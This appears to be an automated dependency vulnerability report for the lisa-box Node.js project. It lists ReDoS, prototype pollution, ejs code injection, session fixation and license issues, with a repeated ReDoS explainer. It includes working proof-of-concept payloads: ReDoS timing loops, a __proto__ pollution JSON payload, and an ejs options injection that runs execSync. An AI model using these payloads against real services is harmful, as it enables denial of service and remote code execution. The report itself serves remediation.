The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1 validator@5.7.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1 validator@5.7.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ws
  • Introduced through: trailpack-realtime@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-realtime@2.0.0 engine.io@1.8.5 ws@1.1.5

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: i18next
  • Introduced through: trails@2.0.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trails@2.0.2 i18next@3.5.2
    Remediation: Upgrade to trails@3.0.0.

Overview

i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

Affected versions of this package are vulnerable to Buffer Overflow. It is possible to cause buffer overflow by changing the translation to be recursive.

Remediation

Upgrade i18next to version 19.5.5 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: i18next
  • Introduced through: trails@2.0.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trails@2.0.2 i18next@3.5.2
    Remediation: Upgrade to trails@3.0.0.

Overview

i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the AddResourceBundle API which uses the the deepExtend function (https://github.com/i18next/i18next/blob/master/i18next.js#L361-L370) internally to extend existing translations in a file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

import i18n from "i18next";
i18n.init({
    resources: {
      en: {
        namespace1: {
          key: 'hello from namespace 1'
        },
        namespace2: {
          key: 'hello from namespace 2'
        }
      },
      de: {
        namespace1: {
          key: 'hallo von namespace 1'
        },
        namespace2: {
          key: 'hallo von namespace 2'
        }  
      }
    }
  });

  var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
  i18n.init({ resources: {} });
  i18n.addResourceBundle('en', 'namespace1', JSON.parse(malicious_payload)
  ,true,true);
 
 
console.log(i18n.options.resources);
//a newly created empty object has the vulnerable property
console.log({}.vulnerable);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade i18next to version 19.8.3 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: passport
  • Introduced through: trailpack-passport@2.2.5

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-passport@2.2.5 passport@0.4.1

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.6.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

medium severity

MPL-2.0 license

  • Module: @root/mkdirp
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 greenlock-store-fs@3.2.2 @root/mkdirp@1.0.0
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 le-challenge-fs@2.0.9 @root/mkdirp@1.0.0
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 le-store-certbot@2.2.4 @root/mkdirp@1.0.0

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: acme
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme@1.3.5

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: acme-dns-01-cli
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme-dns-01-cli@3.0.7

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: acme-v2
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme-v2@1.8.7
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme@1.3.5 acme-v2@1.8.7

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: cert-info
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 cert-info@1.5.1

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: eckles
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 keypairs@1.2.14 eckles@1.4.1
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 rsa-compat@2.0.8 keypairs@1.2.14 eckles@1.4.1
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme-v2@1.8.7 rsa-compat@2.0.8 keypairs@1.2.14 eckles@1.4.1
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme@1.3.5 acme-v2@1.8.7 rsa-compat@2.0.8 keypairs@1.2.14 eckles@1.4.1

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: greenlock
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: greenlock-store-fs
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 greenlock-store-fs@3.2.2

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: keypairs
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 keypairs@1.2.14
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 rsa-compat@2.0.8 keypairs@1.2.14
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme-v2@1.8.7 rsa-compat@2.0.8 keypairs@1.2.14
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme@1.3.5 acme-v2@1.8.7 rsa-compat@2.0.8 keypairs@1.2.14

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: le-challenge-fs
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 le-challenge-fs@2.0.9

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: rasha
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 keypairs@1.2.14 rasha@1.2.5
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 rsa-compat@2.0.8 keypairs@1.2.14 rasha@1.2.5
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme-v2@1.8.7 rsa-compat@2.0.8 keypairs@1.2.14 rasha@1.2.5
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme@1.3.5 acme-v2@1.8.7 rsa-compat@2.0.8 keypairs@1.2.14 rasha@1.2.5

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: rsa-compat
  • Introduced through: trailpack-greenlock@0.2.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 rsa-compat@2.0.8
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme-v2@1.8.7 rsa-compat@2.0.8
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-greenlock@0.2.2 greenlock@2.8.9 acme@1.3.5 acme-v2@1.8.7 rsa-compat@2.0.8

MPL-2.0 license

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: trailpack-realtime@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-realtime@2.0.0 engine.io@1.8.5 debug@2.3.3
    Remediation: Open PR to patch debug@2.3.3.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: trailpack-realtime@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-realtime@2.0.0 engine.io@1.8.5 debug@2.3.3 ms@0.7.2
    Remediation: Open PR to patch ms@0.7.2.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
